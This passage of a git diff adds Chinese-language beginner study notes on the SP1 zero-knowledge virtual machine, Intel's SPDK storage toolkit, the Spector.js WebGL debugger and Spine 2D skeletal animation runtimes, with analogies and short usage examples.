+**零知识证明（Zero-Knowledge Proof, ZKP）** 就是这样一个魔法：你的朋友可以给你一张"证明纸条"，让你一眼就确认他的答案是对的，而你完全不需要自己重算，也不需要知道他是怎么算出来的。
+
+**SP1** 就是这个魔法世界的"计算器"。它是一个零知识虚拟机（zkVM），让你可以用普通的编程语言（主要是 Rust）写程序，然后自动生成一张"证明纸条"，告诉任何人："这段代码确实按预期执行了，结果是正确的。"
+
+## 二、什么是 zkVM？
+
+zkVM 全称 Zero-Knowledge Virtual Machine，翻译过来就是"零知识虚拟机"。
+
+类比一下：
+
+- **普通虚拟机（如 JVM）**：运行你的代码，产出结果
+- **zkVM**：运行你的代码，产出结果，同时产出一张"数学证明"，证明代码确实是按预期跑的
+
+SP1 的核心能力就一句话：**证明任意 RISC-V 程序的执行是正确的。**
+
+这意味着你可以用 Rust、C、C++ 写程序，编译成 RISC-V 格式，然后 SP1 就能为它的执行过程生成一个加密证明。
+
+## 三、SP1 的核心概念
+
+### 3.1 ELF 文件
+
+Rust 程序不能直接塞进 zkVM。第一步是把它编译成一个 **ELF** 文件（可执行与可链接格式），这是 RISC-V 架构的标准可执行文件格式。
+
+### 3.2 证明密钥（Proving Key）与验证密钥（Verifying Key）
+
+每次为一个程序生成证明之前，需要先"注册"这个程序：
+
+- **pk（proving key）**：用来生成证明，相当于"印章"
+- **vk（verifying key）**：用来验证证明，相当于"验钞机"
+
+### 3.3 公共值（Public Values）
+
+程序执行过程中，有些输出是"公开的"——任何人都可以看到。比如斐波那契数列的第 20 项是多少。这些值被绑定到证明上，验证者可以通过它们确认证明对应的是哪个输入和输出。
+
+### 3.4 STARK 与 FRI
+
+SP1 底层使用的证明系统是 **STARK**（Scalable Transparent Argument of Knowledge）。简单来说，它把程序执行的每一步变成一组代数方程，然后用 **FRI**（Fast Reed-Solomon Interactive Oracle Proof of Proximity）协议来证明这些方程全部成立。
+
+STARK 的优势：
+
+- 透明（不需要可信设置）
+- 量子安全
+- 证明速度快
+
+### 3.5 Hypercube（V6 版本）
+
+SP1 V6 引入了名为 Hypercube 的新型多项式证明系统，通过更先进的多项式承诺方案和优化的递归机制，大幅提升了证明性能。
+
+### 3.6 证明类型
+
+SP1 支持多种证明类型，最常用的两种是：
+
+- **Compressed Proof（压缩证明）**：体积更小，适合链上验证
+- **Proof（标准证明）**：更大但验证更快
+
+## 四、SP1 的工作流程
+
+整个流程可以概括为四个步骤：
+
+1. **定义（Define）**：用 Rust 写程序
+2. **编译（Compile）**：编译成 RISC-V ELF 文件
+3. **证明（Prove）**：生成证明
+4. **验证（Verify）**：验证证明是否正确
+
+## 五、代码示例
+
+### 示例一：编写一个可在 zkVM 中运行的斐波那契程序
+
+这是写在 `program/src/main.rs` 中的程序。注意 SP1 提供了特殊的输入输出接口 `sp1_zkvm::io`。
+
+```rust
+use sp1_zkvm::io;
+
+fn main() {
+    // 从输入中读取要计算的斐波那契项数 n
+    let n = io::read::<u32>();
+
+    // 计算第 n 项斐波那契数
+    let mut a: u32 = 0;
+    let mut b: u32 = 1;
+
+    for _ in 0..n {
+        let temp = a + b;
+        a = b;
+        b = temp;
+    }
+
+    // 将结果写入公共输出
+    io::commit(&a);
+    io::commit(&b);
+}
+```
+
+关键点：
+
+- `io::read::<T>()` 从输入流中读取数据
+- `io::commit(&value)` 将值标记为"公共输出"，验证者可以看到
+- 整个程序就是普通的 Rust，没有奇怪的领域特定语言（DSL）
+
+### 示例二：用 Rust SDK 生成和验证证明
+
+这是写在 `script/src/main.rs` 中的证明脚本，使用 `sp1_sdk` crate。
+
+```rust
+use sp1_sdk::{ProverClient, ClientExt};
+
+// 嵌入编译好的 ELF 文件
+includeElf!("fibonacci-elf");
+
+#[tokio::main]
+async fn main() {
+    // 初始化日志
+    sp1_sdk::utils::console_subscriber();
+
+    // 准备输入：计算第 20 项斐波那契数
+    let mut stdin = sp1_sdk::SP1Stdin::new();
+    stdin.write(&20u32);
+
+    // 创建证明客户端
+    let client = ProverClient::new();
+
+    // 第一步：执行（不生成证明，只验证程序正确性）
+    let (public_values, report) = client
+        .execute(&ELF)
+        .run(&stdin)
+        .unwrap();
+
+    println!("执行完成！输出: {:?}", public_values);
+
+    // 第二步：生成压缩证明
+    let (proof, vk) = client
+        .setup(&ELF)
+        .prove_compressed(&stdin)
+        .unwrap();
+
+    println!("证明已生成！");
+
+    // 第三步：验证证明
+    client.verify(&proof, &vk).unwrap();
+
+    println!("证明验证通过！");
+}
+```
+
+关键点：
+
+- `includeElf!` 宏把 ELF 文件嵌入到 Rust 代码中
+- `execute()` 用于开发调试，非常快，但不生成证明
+- `prove_compressed()` 生成压缩证明，适合链上验证
+- `verify()` 验证证明的有效性
+
+## 六、项目结构
+
+用 `cargo prove new --bare fibonacci` 创建项目后，会得到这样的结构：
+
+```
+fibonacci/
+├── program/                # zkVM 程序（被证明的部分）
+│   ├── Cargo.toml
+│   └── src/
+│       └── main.rs         # 你的 Rust 代码
+├── script/                 # 证明生成脚本
+│   ├── Cargo.toml
+│   ├── build.rs            # 自动编译 program
+│   └── src/
+│       └── bin/
+│           ├── prove.rs    # 生成证明
+│           └── vkey.rs     # 获取验证密钥
+└── rust-toolchain
+```
+
+两个 crate 分工明确：
+
+- `program`：被证明的代码，运行在 zkVM 里
+- `script`：控制证明流程的代码，运行在你的机器上
+
+## 七、SP1 的典型应用场景
+
+| 场景 | 说明 |
+|------|------|
+| 链上验证 | 在以太坊等链上验证大规模计算结果，降低 Gas 费 |
+| 轻客户端 | 构建可验证的其他链状态轻客户端，实现跨链互操作 |
+| 协处理器 | 将链上计算外包给链下证明器 |
+| 隐私交易 | 实现链上隐私功能，如隐藏金额的转账 |
+| 预言机 | 对链上数据进行大规模计算并验证 |
+
+实际项目包括 OP Succinct（OP Stack 的证明引擎）、SP1 Tendermint（以太坊上的 Tendermint 轻客户端）、RSP（基于 Rust 的 zkEVM）。
+
+## 八、开发建议
+
+1. **先用 execute 调试**：生成证明很慢，开发阶段只调用 `execute()` 检查输出是否正确
+2. **大程序用证明网络**：对于超过 100 万周期的程序，推荐使用 Succinct Prover Network（云端分布式证明）
+3. **正常 Rust 即可**：大多数标准库 crate 可以直接使用，不需要学专门的 DSL
+4. **关注 cycle 数**：每个程序执行消耗的"周期数"决定了证明成本，可以用 `report.total_cycles` 查看
+
+## 九、总结
+
+SP1 让零知识证明变得像写普通代码一样简单。你只需要：
+
+1. 写 Rust 程序
+2. 编译成 ELF
+3. 一行命令生成证明
+4. 一行命令验证证明
+
+不需要懂复杂的密码学，不需要设计电路，不需要可信设置。这就是 zkVM 的魅力——把零知识证明变成了每个开发者都能用的工具。
+
+---
+
+参考文档：
+- SP1 官方文档：https://docs.succinct.xyz/docs/sp1/introduction
+- SP1 GitHub：https://github.com/succinctlabs/sp1
+- SP1 快速开始：https://docs.succinct.xyz/docs/sp1/getting-started/quickstart
diff --git a/src/content/docs/projects/spdk-project.md b/src/content/docs/projects/spdk-project.md
new file mode 100644
index 000000000..a522da5a5
--- /dev/null
+++ b/src/content/docs/projects/spdk-project.md
@@ -0,0 +1,155 @@
+---
+title: SPDK 零基础学习笔记
+来源: https://spdk.io/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# SPDK 零基础学习笔记
+
+## 一、SPDK 是什么？
+
+SPDK 的全称是 **Storage Performance Development Kit**（存储性能开发套件）。
+
+它是一套由 Intel 发起、现在由 Linux 基金会托管的开源工具库，用来**写出跑得飞快的存储程序**。
+
+## 二、先从一个类比开始
+
+想象你有一个超级快的快递仓库（NVMe SSD），和一个小管家（Linux 内核）。
+
+**传统的做法（内核态驱动）**：
+
+每当你想取货时，你需要：
+1. 给小管家打电话（系统调用）
+2. 小管家穿过一扇门，跑到仓库去取货
+3. 小管家再穿过一扇门，把货拿回来
+
+每次"穿过门"就是一个 **context switch（上下文切换）**，每次"小管家跑去跑去"就是内核态和用户态之间的切换。这些动作本身会浪费大量时间。
+
+**SPDK 的做法（用户态驱动）**：
+
+SPDK 直接把仓库的门拆了——**把驱动搬到用户态**，让你的程序直接操作 SSD 硬件，不用经过内核。而且它用"轮询"的方式（不停地问"货到了吗？"），而不是"等中断"（等着收通知）。
+
+结果就是：**省掉了内核这一层中转，性能大幅提升**。
+
+## 三、核心概念
+
+### 1. 用户态驱动（User-mode Drivers）
+
+传统存储驱动运行在内核空间，每次 I/O 都要经过内核。SPDK 把 NVMe、iSCSI 等驱动直接搬到用户态，程序可以零拷贝地直接读写 SSD。
+
+类比：以前去银行要经过大堂经理（内核）转交，现在有了 VIP 通道，直接到柜台办理。
+
+### 2. 轮询模式（Poll-mode）
+
+SPDK 不使用操作系统的中断机制，而是让线程不停地检查设备状态（"货到了吗？到了吗？到了吗？"）。虽然看起来"浪费 CPU"，但实际上省去了中断处理的开销，总体更快。
+
+### 3. 线程-核心绑定（Thread-per-core）
+
+每个线程绑定到一个 CPU 核心，每个 NVMe 队列对（queue pair）只由一个线程使用。**零锁设计**——没有锁，就没有锁竞争，性能线性扩展。
+
+### 4. Reactor 事件循环
+
+SPDK 使用类似 Reactor 的事件循环模型。每个核心运行一个 reactor，不断 poll 事件、处理 I/O 完成。
+
+### 5. JSON-RPC 管理接口
+
+SPDK 内建了一个 JSON-RPC 2.0 服务器，外部工具（如 Python 脚本 `rpc.py`）可以通过它动态配置 SPDK 的各个组件。
+
+## 四、SPDK 包含的主要组件
+
+- **NVMe 驱动** — 直接操作本地或远程 NVMe SSD
+- **NVMe over Fabrics (NVMf) Target** — 通过网络把 NVMe 设备分享给其他机器
+- **iSCSI Target** — 通过 TCP/IP 远程提供块存储
+- **vhost Target** — 为虚拟机（QEMU/KVM）提供本地存储服务
+- **Virtio-SCSI 驱动** — 半虚拟化 SCSI 设备驱动
+
+## 五、代码示例
+
+### 示例一：用 Python 的 JSON-RPC 创建虚拟块设备
+
+SPDK 提供了一套 Python 绑定，可以通过 RPC 远程操控 SPDK。以下代码创建了一块基于内存的虚拟块设备（Malloc bdev）：
+
+```python
+from spdk.rpc import RpcClient
+
+# 连接到运行中的 SPDK 进程
+client = RpcClient()
+
+# 创建一块 64MB 的内存块设备
+# 参数：名称, 总大小(MB), 块大小(字节)
+client.bdev_malloc_create(
+    name="Malloc0",
+    num_blocks=131072,   # 64MB / 512 bytes = 131072 个块
+    block_size=512
+)
+
+# 查看已创建的所有块设备
+bdevs = client.bdev_get_bdevs()
+for bdev in bdevs:
+    print(f"  设备名: {bdev['name']}, 大小: {bdev['blocks'] * bdev['block_size']} 字节")
+```
+
+这个类比：就像用 API 在云服务器上动态创建一块虚拟硬盘，不需要实际插拔物理设备。
+
+### 示例二：用命令行 RPC 挂载 NVMe SSD
+
+实际使用时，更常见的是通过 `scripts/rpc.py` 脚本操作已运行的 SPDK 目标程序（`spdk_tgt`）：
+
+```bash
+# 步骤1：启动 SPDK 目标进程（需要 root 权限和预留 hugepages）
+sudo ./build/bin/spdk_tgt
+
+# 步骤2：在另一个终端，挂载一块 NVMe SSD
+sudo ./scripts/rpc.py bdev_nvme_attach_controller \
+    -b Nvme0 \
+    -a 0000:04:00.0 \
+    -t PCIe
+
+# 输出: Nvme0n1   ← 这就是挂载成功后生成的命名空间名
+
+# 步骤3：查看控制器信息
+sudo ./scripts/rpc.py bdev_nvme_get_controllers
+```
+
+输出类似：
+
+```json
+[
+  {
+    "name": "Nvme0",
+    "trid": {
+      "trtype": "PCIe",
+      "traddr": "0000:04:00.0"
+    }
+  }
+]
+```
+
+这个类比：`spdk_tgt` 是一个后台存储服务器，`rpc.py` 是遥控器，通过发指令把物理 SSD "挂载"到 SPDK 的管理视图下。
+
+## 六、性能有多快？
+
+SPDK 号称在 4K 随机读测试中，每核 IOPS 比传统 Linux 内核驱动**高 2.6 倍**。原因很简单：
+
+- 零拷贝：数据直接从 SSD 到用户内存，不经过内核缓冲
+- 无锁设计：每核一线程，没有锁竞争
+- 轮询模式：避免了中断处理的开销
+
+## 七、一句话总结
+
+> SPDK = 把存储驱动从内核搬到用户态，用轮询代替中断，用零锁线程模型实现极致性能。
+
+类比记忆：**SPDK 就像给 SSD 修了一条直达你程序的专用高速公路，跳过了所有红绿灯（内核）和收费站（中断处理）。**
+
+## 八、延伸阅读
+
+- 官方文档: https://spdk.io/doc/
+- GitHub 仓库: https://github.com/spdk/spdk
+- NVMe 驱动详解: https://spdk.io/doc/nvme.html
+- JSON-RPC 接口文档: https://spdk.io/doc/jsonrpc.html
+- NVMe over Fabrics 目标: https://spdk.io/doc/nvmf.html
+- iSCSI 目标: https://spdk.io/doc/iscsi.html
+- Vhost 目标: https://spdk.io/doc/vhost.html
diff --git a/src/content/docs/projects/spectorjs.md b/src/content/docs/projects/spectorjs.md
new file mode 100644
index 000000000..2139d2fd4
--- /dev/null
+++ b/src/content/docs/projects/spectorjs.md
@@ -0,0 +1,290 @@
+---
+title: Spector.js — WebGL/WebGPU 调试器
+来源: 'https://github.com/BabylonJS/Spector.js'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Spector.js** 是 Babylon.js 团队维护的 **WebGL / WebGL2 帧级调试器**：它拦截并记录某一帧内所有 GL 调用，连同当时的纹理、着色器、缓冲区、帧缓冲和中间渲染结果，一起放进可交互的时间线里供你逐条回放。
+
+日常类比：
+
+> 原生 WebGL 像一家后厨：厨师（你的代码）不断下单——绑纹理、改 uniform、draw call——但顾客（你）只能看到最终上桌的菜（canvas 像素），中间哪一步盐放多了完全不知道。Spector.js 相当于在厨房装了 **全程监控 + 每步试吃**：每一道「工序」都有快照，你可以从最后一帧往回倒带，看「绑定了哪张纹理」「这个 draw call 之前 framebuffer 长什么样」。
+
+与 Chrome DevTools 的 Performance 面板不同，Spector 专注 **图形 API 语义层**，而不是 JS 堆栈或 CPU 采样。它与引擎无关——Three.js、Babylon.js、PlayCanvas、regl、手写 WebGL 都能抓，只要最终走的是 `WebGLRenderingContext` / `WebGL2RenderingContext`。
+
+官方提供三种使用形态：
+
+| 形态 | 适用场景 |
+|------|----------|
+| **浏览器扩展**（Chrome / Firefox） | 调试任意网站，零侵入 |
+| **npm 包 `spectorjs`** | 嵌入自己的 demo / 内网工具页 |
+| **MCP Server** | 让 AI 助手远程加载 URL、抓帧、读 draw call |
+
+官网：[spector.babylonjs.com](https://spector.babylonjs.com)
+
+## 为什么重要
+
+不理解 Spector.js，下面几件事很难排查：
+
+- 画面全黑 / 全粉（shader 编译失败）——需要看 **哪条 linkProgram 报错、编译日志是什么**
+- 「多 pass 后颜色不对」——需要对比 **每次 `bindFramebuffer` 前后 attachments 里到底有什么**
+- draw call 数量爆炸导致移动端掉帧——需要数 **每帧到底发了多少次 drawArrays / drawElements**
+- Worker + OffscreenCanvas 架构——主线程 DevTools 看不到 Worker 里的 GL，需要 **Worker 侧 capture**
+- 引擎升级 WebGL2 后旧工具（如 WebGL Inspector）失效——Spector 同时支持 WebGL1/2
+
+一句话：**当「像素结果」和「你的 mental model」对不上时，Spector 是把 GPU 黑盒打开的最短路径。**
+
+## 核心概念
+
+### 1. Capture（捕获）：一帧的「GL 录像带」
+
+一次 capture 不是截图，而是 **有序命令列表 + 每步 GL 状态 + 可选缩略图**。核心 API：
+
+- `captureNextFrame(canvas | gl)` — 等下一帧结束后自动停止
+- `startCapture(obj, commandCount, quickCapture?)` — 抓满 N 条 GL 命令或 10 秒超时
+- `stopCapture()` — 手动结束，返回 JSON 结构的 `ICapture`
+
+`quickCapture: true` 时跳过每步缩略图，适合命令量极大的场景。
+
+### 2. Spy（监听）：先挂钩，再录制
+
+`spyCanvases()` 会在 **capture 之前** 就开始跟踪 canvas / context 上的 GL 调用，从而记录纹理上传、buffer 创建等「帧外」信息——内存占用、纹理输入历史在 UI 里才完整。
+
+类比：Spy 是「一直开着的监控」，Capture 是你按下的「导出这一段」。
+
+### 3. Command List + Visual State
+
+捕获结果里每条命令通常包含：
+
+- 函数名与参数（如 `drawElements(4, 36, 5123, 0)`）
+- 调用时的 **GL 状态快照**（当前 program、bound textures、viewport、blend 等）
+- **Visual State**：执行该命令后 framebuffer 内容的缩略图（非 quick 模式）
+
+你可以在 UI 里点击任意 draw call，右侧看 shader 源码、uniform 值、顶点布局。
+
+### 4. Marker 与自定义元数据
+
+调试多 pass 管线时，用 marker 在时间线上打书签：
+
+```javascript
+spector.setMarker('ShadowPass');
+// ... shadow map draws ...
+spector.clearMarker();
+```
+
+给 WebGL 对象起可读名字（引擎资源追踪）：
+
+```javascript
+const buf = gl.createBuffer();
+buf.__SPECTOR_Metadata = { name: 'cubeVerticesColorBuffer' };
+```
+
+Capture  UI 里会显示 `cubeVerticesColorBuffer`，而不是匿名的 `WebGLBuffer #17`。
+
+### 5. OffscreenCanvas 与 Worker
+
+现代架构常把渲染放进 Worker。Spector 提供两套 bundle：
+
+| 文件 | 用途 |
+|------|------|
+| `dist/spector.bundle.js` | 主线程，含完整 UI |
+| `dist/spector.worker.bundle.js` | Worker 内 headless 拦截 |
+
+主线程用 `spyWorker(worker)` 建桥，再 `captureWorker(worker)` 触发 Worker 侧抓帧。
+
+### 6. 与 WebGPU 的关系
+
+项目名称和 roadmap 里常出现 WebGPU，但 **当前稳定版仍以 WebGL/WebGL2 为主**。WebGPU 调试生态仍在演进；学 Spector 的价值在于理解「帧级图形调试器」应提供什么信息——命令序列、资源绑定、中间 RT——这些概念在 WebGPU 工具（RenderDoc 思路、浏览器未来内置层）里同样适用。
+
+## 安装与入口
+
+```bash
+npm install spectorjs
+```
+
+CDN（版本以 npm 为准）：
+
+```html
+<script src="https://cdn.jsdelivr.net/npm/spectorjs/dist/spector.bundle.js"></script>
+```
+
+浏览器扩展（零代码调试任意页）：
+
+- [Chrome Web Store — Spector.js](https://chrome.google.com/webstore/detail/spectorjs/denbgaamihkadbghdceggmchnflmhpmk)
+- [Firefox Add-ons](https://addons.mozilla.org/en-US/firefox/addon/spector-js/)
+
+扩展启用后，页面上的 `<canvas>` 会出现 Spector 图标；也可在控制台用全局 `spector` 对象编程触发 capture（与嵌入版 API 一致）。
+
+## 代码示例
+
+### 示例 1：嵌入页面 — 显示 UI + 抓取下一帧
+
+适合本地 demo：边改 shader 边点「Capture」。
+
+```javascript
+import { Spector } from 'spectorjs';
+
+const canvas = document.getElementById('glcanvas');
+const spector = new Spector();
+
+// 可选：提前 spy，记录纹理上传等帧外操作
+spector.spyCanvases();
+
+// 内嵌调试面板（左上角 capture 按钮、结果视图）
+spector.displayUI();
+
+// 编程式：下一帧结束后拿到 JSON
+spector.onCapture.add((capture) => {
+  console.log('commands:', capture.commands.length);
+  // 可持久化、做 CI 回归对比、或发给同事
+  localStorage.setItem('lastCapture', JSON.stringify(capture));
+});
+
+document.getElementById('btnCapture').addEventListener('click', () => {
+  spector.captureCanvas(canvas);
+});
+```
+
+配合最小 WebGL 循环：只要 canvas 上有 draw call，`captureCanvas` 就能工作，与是否使用引擎无关。
+
+### 示例 2：按命令数量截断 + Marker 分段
+
+适合分析「阴影 pass 和光照 pass 各有多少 draw call」：
+
+```javascript
+const spector = new Spector();
+spector.displayUI();
+
+function renderFrame() {
+  spector.setMarker('DepthPrePass');
+  renderDepthOnly();
+
+  spector.setMarker('MainColorPass');
+  renderOpaque();
+  renderTransparent();
+
+  spector.clearMarker();
+  requestAnimationFrame(renderFrame);
+}
+
+// 只抓前 200 条 GL 命令，quick 模式加快速度
+spector.startCapture(canvas, 200, true);
+
+// 或在 DevTools 里：
+// spector.startCapture(document.querySelector('canvas'), 500);
+```
+
+在 Result 面板搜索 marker 名称，或搜 `LOG` 过滤 `spector.log('message')` 插入的自定义日志点。
+
+### 示例 3：Worker + OffscreenCanvas（架构级调试）
+
+**主线程：**
+
+```javascript
+const spector = new Spector();
+const worker = new Worker('render-worker.js', { type: 'classic' });
+
+spector.spyWorker(worker);
+
+spector.onCapture.add((capture) => {
+  spector.getResultUI().display();
+  spector.getResultUI().addCapture(capture);
+});
+
+document.getElementById('capture').onclick = () => {
+  spector.captureWorker(worker, undefined, false, true);
+};
+```
+
+**render-worker.js：**
+
+```javascript
+importScripts('spector.worker.bundle.js');
+
+const canvas = new OffscreenCanvas(800, 600);
+const gl = canvas.getContext('webgl2');
+
+function frame() {
+  gl.clearColor(0.1, 0.1, 0.15, 1);
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+  // ... 你的 draw calls ...
+  setTimeout(frame, 16);
+}
+frame();
+```
+
+`spyWorkers('spector.worker.bundle.js')` 可自动注入到新 Worker，但在 CSP 严格或 module Worker 下可能失败——**手动 `spyWorker` 更可靠**。
+
+## 典型调试工作流
+
+1. **复现问题帧** — 暂停游戏逻辑或锁定相机，减少 capture 噪声
+2. **Capture** — 扩展一键抓帧，或代码里 `captureNextFrame`
+3. **从后往前搜** — 最后几条 draw call 往往对应屏幕可见内容；往前找第一个「变全黑/变粉」的步骤
+4. **查状态** — 该步 bound program、texture unit、depth test、blend 是否符合预期
+5. **Shader 面板** — 看编译错误、对比 vertex/fragment 源码与引擎里文件是否一致
+6. **导出 JSON** — 团队异步排查，或做「capture diff」回归（同一场景升级引擎前后对比命令数）
+
+Real Time Rendering 博客有 [Debugging WebGL with SpectorJS](http://www.realtimerendering.com/blog/debugging-webgl-with-spectorjs/) 图文教程，扩展版操作与嵌入版 API 互通。
+
+## 与周边工具的分工
+
+| 工具 | 擅长 | 不擅长 |
+|------|------|--------|
+| **Spector.js** | GL 命令时间线、每步 RT、shader/uniform | JS CPU 性能、内存泄漏 |
+| **Chrome Performance** | JS 耗时、GPU 粗粒度时间线 | 单条 draw call 的 GL 参数 |
+| **WebGL Inspector**（旧） | 经典 WebGL1 场景 | WebGL2、现代维护 |
+| **引擎内置 Inspector**（如 Babylon `scene.debugLayer`） | 场景图、材质业务语义 | 跨引擎、Vanilla WebGL |
+| **Spector MCP** | AI 驱动「打开 URL → 抓帧 → 读 draw call」 | 需本地构建 MCP server |
+
+做 [Babylon.js](/docs/projects/babylonjs) 项目时，引擎 Inspector 管「场景语义」，Spector 管「底层 GL 是否与预期一致」——两者互补。
+
+## Shader  live 编辑说明
+
+Spector 内嵌 shader 编辑器，但 **完整重编译 + 自动重绑所有 uniform/VAO/UBO** 在通用场景里极不可靠。官方策略：支持 live 编辑的引擎（如 Babylon.js）在 `linkProgram` 后挂载 `rebuildProgram(vertex, fragment, onCompiled, onError)`，由 **引擎自己** 负责重链与状态恢复。Vanilla WebGL 项目更适合「复制 shader → 本地改 → 刷新页面」。
+
+## MCP Server（AI 辅助调试）
+
+仓库自带 MCP server，可在 Cursor 等客户端配置后：
+
+```json
+{
+  "mcpServers": {
+    "spector": {
+      "command": "node",
+      "args": ["<path-to-Spector.js>/mcp/dist/index.js"]
+    }
+  }
+}
+```
+
+构建步骤见仓库 `mcp/README.md`（`npm run mcp:install` / `mcp:build`）。适合「把线上 WebGL  demo URL 丢给 AI，让它读 capture 结构」的工作流。
+
+## 局限与注意
+
+- **开销**：完整 capture（含缩略图）在大场景下可能卡顿；开发时用 `quickCapture` 或限制 `commandCount`
+- **WebGPU**：不要假设当前 npm 包能抓 WebGPU command buffer；以 README 与 release note 为准
+- **生产环境**：`displayUI()` / `spyCanvases()` 应只在 development 启用，避免用户侧性能与安全问题
+- **Worker 自动注入**：跨域 Worker、CSP、`type: 'module'` Worker 可能失败，优先手动 bridge
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 定位 | WebGL 帧级「命令录像 + 状态回放」 |
+| 核心 API | `displayUI`、`captureCanvas`、`startCapture`、`spyCanvases`、`spyWorker` |
+| 最佳入口 | 浏览器扩展调陌生页；npm 嵌入调自己的 demo |
+| 进阶 | `__SPECTOR_Metadata` 命名资源；Marker 切分 render pass |
+| 生态 | Babylon.js 同源；与引擎 Inspector 互补 |
+
+零基础记住：**画面不对时，用 Spector 抓一帧，从最后一条 draw call 往前查「哪一步开始错」**——比盲目 `console.log` uniform 快一个数量级。
+
+## 延伸阅读
+
+- 仓库 README 与 [API 文档](https://github.com/BabylonJS/Spector.js/blob/master/documentation/apis.md)
+- [扩展使用说明](https://github.com/BabylonJS/Spector.js/blob/master/documentation/extension.md)
+- 同目录：[regl](/docs/projects/regl)、[glslCanvas](/docs/projects/glsl-canvas)、[PlayCanvas](/docs/projects/playcanvas) — 被调试的常见 WebGL 运行时
diff --git a/src/content/docs/projects/spine-runtimes.md b/src/content/docs/projects/spine-runtimes.md
new file mode 100644
index 000000000..59f250cfa
--- /dev/null
+++ b/src/content/docs/projects/spine-runtimes.md
@@ -0,0 +1,268 @@
+---
+title: Spine Runtimes — 2D 骨骼动画运行时
+来源: 'https://github.com/EsotericSoftware/spine-runtimes'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：Spine Runtimes 是「木偶戏的提线师」
+
+在 Spine 编辑器里，美术像搭木偶：头、躯干、四肢是**骨头**，贴图是**皮肤**，走路、跳跃是**动作剧本**。导出后得到 JSON（或二进制）和图集——相当于把木偶和剧本装进箱子。
+
+**Spine Runtimes** 就是游戏引擎里的**提线师**：读箱子里的数据，每帧按剧本拉动骨头，把贴图画到屏幕上。你不用在代码里逐帧摆坐标，而是说「播 walk」「接 jump」「上半身举枪、下半身继续走」。
+
+和「导出成一张张精灵图 GIF」不同，骨骼动画只占一份贴图 + 骨骼变换，内存小、可混色、可换装、可程序化改姿势（比如枪口始终瞄准鼠标）。
+
+| 维度 | 数据 |
+|---|---|
+| GitHub | [EsotericSoftware/spine-runtimes](https://github.com/EsotericSoftware/spine-runtimes) |
+| 官方文档 | [Spine Runtimes Guide](http://esotericsoftware.com/spine-runtimes-guide) |
+| 默认分支 | `4.2`（须与 Spine 编辑器导出版本一致） |
+| 协议 | Spine Runtimes License（集成免费评估；商业分发需留意授权） |
+| 语言覆盖 | C++、C#、Java、TypeScript、Haxe、Dart、Swift 等 |
+| 引擎集成 | Unity、Unreal、Godot、libGDX、Phaser、PixiJS、Three.js、Flutter 等 |
+
+---
+
+## 是什么
+
+[Spine Runtimes](https://github.com/EsotericSoftware/spine-runtimes) 是 Esoteric Software 维护的**官方运行时库集合**，用来在各类游戏引擎和框架中加载、播放、混合 [Spine](http://esotericsoftware.com/) 导出的 2D 骨骼动画。
+
+工作流分三段：
+
+1. **Spine 编辑器** — 美术绑骨、K 帧、做 Skin 换装、设动画混合时间  
+2. **导出资源** — `skeleton.json`（或 `.skel` 二进制）+ `name.atlas` + 若干 `.png` 图集页  
+3. **Runtime** — 在游戏循环里 `load → update → apply → render`
+
+仓库按语言/引擎拆目录，例如 `spine-csharp/`、`spine-ts/`、`spine-unity/`、`spine-godot/`、`spine-libgdx/`。`spine-libgdx`（Java）是**参考实现**，编辑器里的行为以它为准，其他语言多为移植。
+
+---
+
+## 为什么重要
+
+不了解 Spine Runtimes，下面几件事很难讲清楚：
+
+- 为什么同一套角色动画能同时跑在 Unity、Godot、H5 小游戏里——**数据格式统一**，只差各引擎的渲染胶水层  
+- 为什么「walk 切 jump」可以 0.2 秒淡入淡出而不是硬切——`AnimationState` + `AnimationStateData.setMix()`  
+- 为什么骨骼动画比逐帧大图省内存——贴图只上传一次，每帧只改矩阵，不重复存 30 张全身图  
+- 为什么 Runtime 版本必须和编辑器版本对齐——`4.2.xx` 导出的 JSON 字段和 `3.8` 运行时解析器对不上会直接崩
+
+---
+
+## 核心概念
+
+### 1. 数据层：SkeletonData — 只读的「角色蓝图」
+
+`SkeletonData` 从 JSON/二进制解析而来，包含骨骼层级、插槽、附件、皮肤、动画定义。**可共享**：一百个敌人可以共用一份 `SkeletonData`，各自实例化 `Skeleton`。
+
+加载典型路径（伪代码，各语言类名一致）：
+
+```
+Atlas atlas = load("hero.atlas")
+SkeletonJson json = new SkeletonJson(atlas)
+SkeletonData data = json.readSkeletonData("hero.json")
+Skeleton skeleton = new Skeleton(data)
+```
+
+### 2. 骨骼 Bone — 层次变换节点
+
+Bone 组成父子树：父骨旋转，子骨跟着动。每个 Bone 有 local 变换（位置、旋转、缩放）；渲染前需 `skeleton.updateWorldTransform()` 算出 world 矩阵。类比：木偶的肩关节转 30°，整条胳膊跟着转。
+
+### 3. 插槽 Slot 与附件 Attachment
+
+**Slot** 是骨上的「挂钩」，决定画什么、画多深（draw order）。**Attachment** 是挂上去的物件：最常见 `RegionAttachment`（矩形贴图），还有 `MeshAttachment`（变形网格）、`BoundingBoxAttachment`（碰撞框）等。换 Skin 本质是换同一 Slot 上绑定的 Attachment 集合。
+
+### 4. Skin — 换装表
+
+`Skin` 记录「插槽名 → 附件」映射。运行时 `skeleton.setSkin("armor-heavy")` 再 `setSlotsToSetupPose()` 即可换装，无需重新导出动画。
+
+### 5. Animation 与 Timeline — 最低层 API
+
+`Animation` 由多条 `Timeline` 组成，每条 Timeline 改一种属性（某骨的旋转、某 Slot 的颜色等）。直接 `animation.apply(skeleton, lastTime, time, loop, ...)` 可以精确控制，但要自己管时间状态。**大多数项目用更上层的 AnimationState。**
+
+### 6. AnimationState — 日常播放的核心
+
+`AnimationState` 负责：
+
+- 多轨道（track）叠加：track 0 走路，track 1 挥手，高轨道覆盖低轨道同名属性  
+- 队列：`addAnimation` 在当前动画结束后播下一个  
+- 混合（crossfade）：`AnimationStateData.setMix("walk", "jump", 0.2)`  
+
+**每帧固定三步**（官方文档反复强调）：
+
+```
+state.update(delta)           // 推进时间
+state.apply(skeleton)         // 把动画姿势写到骨骼
+skeleton.updateWorldTransform() // 算世界矩阵 + 约束
+render(skeleton)              // 引擎相关：画三角形
+```
+
